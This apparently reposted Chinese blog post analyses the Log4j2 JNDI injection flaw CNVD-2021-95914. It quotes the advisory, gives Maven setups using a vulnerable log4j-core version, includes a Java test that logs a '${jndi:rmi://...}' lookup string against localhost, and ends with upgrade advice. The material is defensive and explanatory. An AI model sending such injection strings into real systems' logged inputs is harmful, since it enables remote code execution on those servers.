概述
漏洞描述
安全公告编号:CNTA-2021-0033
安全公告编号:CNTA-2021-0032
2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。CNVD建议受影响用户立即更新至最新版本,同时采取防范性措施避免漏洞攻击威胁。
一、漏洞情况分析
Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
CNVD对该漏洞的综合评级为“高危”。
二、漏洞影响范围
漏洞影响的产品版本包括:
Apache Log4j2 2.0 - 2.15.0-rc1
附:参考链接:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
关于Apache Log4j2存在远程代码执行漏洞的安全公告
复现代码
log4j-core.jar引入
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.lizz</groupId>
<artifactId>parent-tester</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<skipTests>true</skipTests>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.13.3</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
或引入spring-boot-starter-log4j2,依赖的也是log4j-core.jar
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.lizz</groupId>
<artifactId>parent-tester</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<skipTests>true</skipTests>
</properties>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.4.RELEASE</version>
<relativePath/>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
测试用例
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* @description: LogBugTest
* @author: lizz
* @date: 2021/12/14 14:51
*/
public class LogBugTest {
private static final Logger logger = LogManager.getLogger(LogBugTest.class);
public static void main(String[] args) {
String msg="${java:hw}";
logger.info("log {}",msg);
logger.error("${jndi:rmi://127.0.0.1:1099/xxxx}");
}
}
输出结果:
[main] INFO com.lizz.LogBugTest - log processors: 4, architecture: x86_64-64
main WARN Error looking up JNDI resource [rmi://127.0.0.1:1099/xxxx].
- ${java:hw}输出了服务器cpu信息
- jndi:rmi可以远程加载外部类,使用可以执行外部想要你执行的命令,漏洞所在。
- 上面的输出内容表示可以执行特殊命令,可以通过开放接口将命令通过参数传递到服务中执行,从而执行破坏或控制命令。
无漏洞输出结果
[main] INFO com.lizz.LogBugTest - log ${java:hw}
[main] ERROR com.lizz.LogBugTest - ${jndi:rmi://127.0.0.1:1099/xxxx}
修复建议
- 如果使用spring-boot默认logger,可以发现依赖的是logback,不存在log4j2-core的漏洞,不需要修改。
- 查看依赖树,使用了log4j2-core包,可以将log4j2-core升级为>=2.16.0即可。
最后
以上就是鲤鱼烧鹅为你收集整理的Log4j2高危漏洞CNVD-2021-95914分析复现修复漏洞描述复现代码测试用例修复建议的全部内容,希望文章能够帮你解决Log4j2高危漏洞CNVD-2021-95914分析复现修复漏洞描述复现代码测试用例修复建议所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复